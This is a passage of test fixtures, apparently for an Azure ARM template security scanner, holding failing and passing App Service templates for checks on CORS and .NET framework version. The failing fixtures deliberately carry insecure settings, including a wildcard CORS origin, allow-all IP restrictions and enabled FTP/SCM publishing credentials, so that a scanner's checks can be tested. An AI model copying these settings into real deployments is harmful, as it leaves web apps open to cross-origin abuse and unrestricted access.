\"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"passed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [],\n                \"netFrameworkVersion\": \"v4.0\",\n                \"requestTracingEnabled\": true,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": false,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": false,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": false\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"cors\": {\n                    \"supportCredentials\": false\n                },\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 484,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": \"1.2\",\n                \"ftpsState\": \"FtpsOnly\",\n                \"preWarmedInstanceCount\": 0,\n                \"elasticWebAppScaleLimit\": 0,\n                \"healthCheckPath\": \"/health\",\n                \"functionsRuntimeScaleMonitoringEnabled\": false,\n                \"minimumElasticInstanceCount\": 0,\n                \"azureStorageAccounts\": {\n                    \"shady\": {\n                        \"type\": \"AzureFiles\",\n                        \"accountName\": \"piketest\",\n                        \"shareName\": \"pike\",\n                        \"mountPath\": \"/mount/shady\"\n                    }\n                }\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/hostNameBindings\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/', parameters('sites_pike_name'), '.azurewebsites.net')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"siteName\": \"pike\",\n                \"hostNameType\": \"Verified\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceDisallowCORS/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"*\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceDisallowCORS/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"is try string to app service disallow cors\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceDotnetFrameworkVersion/failed.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"sites_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"serverfarms_example_serviceplan_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/test/providers/Microsoft.Web/serverfarms/example-serviceplan\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[parameters('sites_pike_name')]\",\n            \"location\": \"UK South\",\n            \"kind\": \"app\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"enabled\": true,\n                \"hostNameSslStates\": [\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Standard\"\n                    },\n                    {\n                        \"name\": \"[concat(parameters('sites_pike_name'), '.scm.azurewebsites.net')]\",\n                        \"sslState\": \"Disabled\",\n                        \"hostType\": \"Repository\"\n                    }\n                ],\n                \"serverFarmId\": \"[parameters('serverfarms_example_serviceplan_externalid')]\",\n                \"reserved\": false,\n                \"isXenon\": false,\n                \"hyperV\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetImagePullEnabled\": false,\n                \"vnetContentShareEnabled\": false,\n                \"siteConfig\": {\n                    \"numberOfWorkers\": 1,\n                    \"acrUseManagedIdentityCreds\": false,\n                    \"alwaysOn\": true,\n                    \"http20Enabled\": true,\n                    \"functionAppScaleLimit\": 0,\n                    \"minimumElasticInstanceCount\": 0\n                },\n                \"scmSiteAlsoStopped\": false,\n                \"clientAffinityEnabled\": false,\n                \"clientCertEnabled\": true,\n                \"clientCertMode\": \"Required\",\n                \"hostNamesDisabled\": false,\n                \"customDomainVerificationId\": \"B37B5768F8409B36E596577BDBC882653FCC6A7FD697EBEE151AB7C532C897E5\",\n                \"containerSize\": 0,\n                \"dailyMemoryTimeQuota\": 0,\n                \"httpsOnly\": true,\n                \"redundancyMode\": \"None\",\n                \"publicNetworkAccess\": \"Enabled\",\n                \"storageAccountRequired\": false,\n                \"keyVaultReferenceIdentity\": \"SystemAssigned\"\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/ftp')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/basicPublishingCredentialsPolicies\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"[concat(parameters('sites_pike_name'), '/scm')]\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"allow\": true\n            }\n        },\n        {\n            \"type\": \"Microsoft.Web/sites/config\",\n            \"apiVersion\": \"2022-09-01\",\n            \"name\": \"failed\",\n            \"location\": \"UK South\",\n            \"dependsOn\": [\n                \"[resourceId('Microsoft.Web/sites', parameters('sites_pike_name'))]\"\n            ],\n            \"properties\": {\n                \"numberOfWorkers\": 1,\n                \"defaultDocuments\": [\n                    \"Default.htm\",\n                    \"Default.html\",\n                    \"Default.asp\",\n                    \"index.htm\",\n                    \"index.html\",\n                    \"iisstart.htm\",\n                    \"default.aspx\",\n                    \"index.php\",\n                    \"hostingstart.html\"\n                ],\n                \"netFrameworkVersion\": \"v5.0\",\n                \"phpVersion\": \"5.6\",\n                \"requestTracingEnabled\": true,\n                \"requestTracingExpirationTime\": \"9999-12-31T23:59:00Z\",\n                \"remoteDebuggingEnabled\": false,\n                \"remoteDebuggingVersion\": \"VS2019\",\n                \"httpLoggingEnabled\": true,\n                \"acrUseManagedIdentityCreds\": false,\n                \"logsDirectorySizeLimit\": 25,\n                \"detailedErrorLoggingEnabled\": true,\n                \"publishingUsername\": \"$pike\",\n                \"scmType\": \"None\",\n                \"use32BitWorkerProcess\": true,\n                \"webSocketsEnabled\": false,\n                \"alwaysOn\": true,\n                \"managedPipelineMode\": \"Integrated\",\n                \"virtualApplications\": [\n                    {\n                        \"virtualPath\": \"/\",\n                        \"physicalPath\": \"site\\\\wwwroot\",\n                        \"preloadEnabled\": true\n                    }\n                ],\n                \"loadBalancing\": \"LeastRequests\",\n                \"experiments\": {\n                    \"rampUpRules\": []\n                },\n                \"autoHealEnabled\": false,\n                \"vnetRouteAllEnabled\": false,\n                \"vnetPrivatePortsCount\": 0,\n                \"publicNetworkAccess\": \"Enabled\",\n                \"localMySqlEnabled\": false,\n                \"managedServiceIdentityId\": 24556,\n                \"ipSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictions\": [\n                    {\n                        \"ipAddress\": \"Any\",\n                        \"action\": \"Allow\",\n                        \"priority\": 2147483647,\n                        \"name\": \"Allow all\",\n                        \"description\": \"Allow all access\"\n                    }\n                ],\n                \"scmIpSecurityRestrictionsUseMain\": false,\n                \"http20Enabled\": true,\n                \"minTlsVersion\": \"1.2\",\n                \"scmMinTlsVersion\": 